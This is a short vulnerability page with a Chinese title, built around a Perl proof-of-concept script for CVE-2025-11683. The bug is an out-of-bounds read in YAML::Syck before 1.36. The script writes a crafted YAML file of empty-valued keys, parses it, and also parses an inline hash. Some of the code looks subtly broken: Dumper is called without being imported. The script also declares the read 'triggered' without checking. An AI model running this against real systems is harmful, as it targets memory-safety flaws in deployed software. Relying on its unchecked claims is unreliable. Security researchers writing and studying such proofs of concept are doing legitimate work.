CVE-2025-11683：YAML::Syck Perl模块缺失空终止符导致越界读取漏洞

# CVE-2025-11683 PoC - YAML::Syck Missing Null-Terminator OOB Read # This PoC demonstrates the vulnerability by creating a YAML file # with a hash of all keys and empty values that triggers the # out-of-bounds read in token.c of YAML::Syck versions < 1.36 use strict; use warnings; use YAML::Syck; # Create a malicious YAML structure with all keys and empty values # This triggers the missing null-terminator issue in token.c my $yaml_content = <<'EOF'; --- hash_key_with_very_long_name_to_trigger_oob_read: key1: key2: key3: key4: key5: key6: key7: key8: key9: key10: another_key: yet_another_key: final_key: EOF # Write the malicious YAML to a file open(my $fh, '>', 'malicious.yaml') or die "Cannot create file: $!"; print $fh $yaml_content; close($fh); # Parse the YAML file - this will trigger the OOB read print "Parsing malicious YAML file...\n"; my $data = YAML::Syck::LoadFile('malicious.yaml'); print "Parsing complete. Data structure:\n"; print Dumper($data) if require Data::Dumper; # Alternative: Use Load with inline YAML containing complex hash structures my $inline_yaml = "{ key1:, key2:, key3:, key4:, key5:, key6:, key7:, key8:, key9:, key10: }"; my $result = YAML::Syck::Load($inline_yaml); print "\nPoC completed. The OOB read has been triggered during parsing.\n"; print "Affected versions: YAML::Syck < 1.36\n"; print "Fixed in: YAML::Syck 1.36\n";